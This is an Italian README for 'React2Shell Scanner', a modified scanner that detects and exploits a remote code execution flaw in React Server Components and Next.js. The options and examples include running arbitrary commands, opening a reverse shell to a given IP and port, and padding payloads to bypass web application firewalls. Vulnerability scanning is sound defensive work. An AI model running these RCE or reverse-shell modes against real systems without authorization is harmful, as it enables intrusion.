
Una versione evoluta dello scanner assetnote CVE-2025-55182
High Fidelity Detection for RSC/Next.js RCE
Scanner per il rilevamento di vulnerabilità di Remote Code Execution (RCE) in applicazioni React Server Components e Next.js.
React2Shell Scanner è uno strumento specializzato per identificare vulnerabilità di esecuzione remota di codice (RCE) in applicazioni che utilizzano React Server Components (RSC) e Next.js. Lo strumento rileva vulnerabilità relative ai seguenti CVE:
Lo strumento esegue controlli ad alta fedeltà utilizzando side-channel detection e proof-of-concept di RCE, con capacità di estrarre risultati dinamici di comandi eseguiti tramite parsing automatico delle risposte HTTP.
Questa è una versione modificata da @imguimoraes dello scanner originale sviluppato da Assetnote Security Research Team. Il PoC RCE originale è stato creato da @maple3142.
pip install requests tqdm
Oppure usando il file requirements.txt:
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [opzioni]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| Opzione | Descrizione |
|---|---|
-u, --url URL | URL o singolo host da verificare |
-l, --list FILE | File contenente una lista di host (uno per riga) |
| Opzione | Descrizione |
|---|---|
-t, --threads N | Numero di thread concorrenti (predefinito: 10) |
--timeout SECONDS | Timeout delle richieste in secondi (predefinito: 10) |
-k, --insecure | Disabilitare verifica del certificato SSL (abilitato per impostazione predefinita) |
| Opzione | Descrizione |
|---|---|
-o, --output FILE | File di output per risultati in formato JSON |
--all-results | Salvare tutti i risultati nel file, non solo vulnerabili |
-v, --verbose | Output verboso (mostra snippet di risposta per analisi) |
-q, --quiet | Modalità silenziosa (mostra solo host vulnerabili) |
--no-color | Disabilitare output colorato |
| Opzione | Descrizione |
|---|---|
-H, --header "Key: Value" | Aggiungere header HTTP personalizzato (può essere usato più volte) |
| Opzione | Descrizione |
|---|---|
--safe-check | Usare rilevamento side-channel sicuro invece di PoC RCE (non esegue codice) |
--windows | Usare payload PowerShell invece di shell Unix (per ambienti Windows) |
--waf-bypass | Aggiungere dati casuali al payload per bypass WAF (predefinito: 128KB) |
--waf-bypass-size KB | Dimensione dei dati casuali in KB per bypass WAF (predefinito: 128) |
--payload COMMAND | Comando personalizzato da eseguire nel RCE (predefinito: echo $((41*271))) |
--reverse-shell IP:PORT | Creare connessione reverse shell per IP:PORT specificati |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
Lo scanner visualizza i risultati con codici colore che indicano lo stato:
Per host vulnerabili, il risultato del comando eseguito viene mostrato quando disponibile tramite estrazione automatica dell'header X-Action-Redirect o del corpo della risposta.
Quando si utilizza l'opzione -o, l'output viene salvato in formato JSON con la seguente struttura:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
Campi del risultato:
vulnerable: true se vulnerabile, false se non vulnerabile, null se si è verificato un errorecommand_result: Risultato del comando eseguito estratto dalla risposta (quando disponibile)final_url: URL finale testato (dopo seguimento di redirect, se abilitato)status_code: Codice HTTP della rispostarequest: Richiesta HTTP completa inviataresponse: Risposta HTTP ricevuta (primi 2000 caratteri)error: Messaggio di errore se presentetimestamp: Timestamp UTC della verificaLo scanner offre due metodi di rilevamento:
Safe Check (--safe-check): Rilevamento side-channel non invasivo che controlla pattern di errore nella risposta senza eseguire codice. Utile per scansione iniziale senza impatto.
RCE PoC: Esecuzione reale di codice remoto con estrazione dinamica dei risultati. Utilizza payload basati su Node.js child_process per esecuzione di comandi di sistema.
Lo scanner esegue il parsing automatico delle risposte HTTP per estrarre i risultati dei comandi eseguiti:
X-Action-Redirect (formato: NEXT_REDIRECT;push;/login?a=<risultato>;307;)E{"digest":"<risultato>"} o 1:E{"digest":"<risultato>"})--payloadL'estrazione viene eseguita dinamicamente, non dipendendo da valori fissi, consentendo di validare l'esecuzione di qualsiasi comando.
Quando si utilizza l'opzione --waf-bypass:
--waf-bypass-size (predefinito: 128KB)